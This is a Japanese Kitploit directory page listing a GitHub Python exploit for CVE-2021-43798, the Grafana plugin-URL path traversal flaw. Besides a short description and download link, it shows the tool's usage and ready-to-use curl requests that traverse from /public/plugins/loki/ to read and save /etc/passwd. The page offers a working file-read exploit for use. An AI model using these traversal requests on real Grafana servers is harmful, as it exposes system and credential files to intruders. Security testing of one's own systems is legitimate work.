Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-43798 — CVE-2021-43798のPythonエクスプロイト。Grafanaのパストラバーサル脆弱性で、プラグインURLのディレクトリトラバーサルを介して任意のファイル読み取りを可能にします。 | Kitploit
ツール/GitHubGitHub/g01d3nw01f/cve-2021-43798
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubg01d3nw01f/cve-2021-43798

CVE-2021-43798

CVE-2021-43798のPythonエクスプロイト。Grafanaのパストラバーサル脆弱性で、プラグインURLのディレクトリトラバーサルを介して任意のファイル読み取りを可能にします。

リポジトリを見る
3年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

usage: grafana-exploit.py [-h] -H/--host HOST grafana-exploit.py: error: the following arguments are required: -H/--host

例: python3 grafana-exploit.py --host <target_host>

任意ファイルの読み取りに成功した場合、 リクエストURLとcurlコマンドを表示します

root@kitploit:~
[+]RequestURL
http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd
 
[+]curl_command
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd"

ファイルをダウンロードしたい場合は、上記のように実行してください

root@kitploit:~
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd" -o passwd
ツールをダウンロード